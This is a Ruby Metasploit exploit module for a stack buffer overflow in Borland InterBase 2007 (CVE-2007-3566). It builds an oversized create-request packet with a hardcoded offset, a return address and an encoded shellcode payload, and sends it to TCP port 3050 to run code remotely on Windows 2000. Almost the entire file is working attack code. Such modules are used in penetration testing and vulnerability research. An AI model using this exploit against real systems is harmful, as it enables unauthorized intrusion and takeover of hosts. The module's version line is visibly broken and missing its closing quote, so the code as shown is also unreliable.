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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Borland Interbase Create-Request Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Borland Interbase 2007.
By sending a specially crafted create-request packet, a remote
attacker may be able to execute arbitrary code.
},
'Author' => 'MC',
'Version' => '$Revision
,
'References' =>
[
[ 'CVE', '2007-3566' ],
[ 'OSVDB', '38602' ],
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 850,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'July 24 2007'))
register_options([Opt::RPORT(3050)], self.class)
end
def exploit
connect
# Build the exploit buffer.... It's a biggie!
sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end
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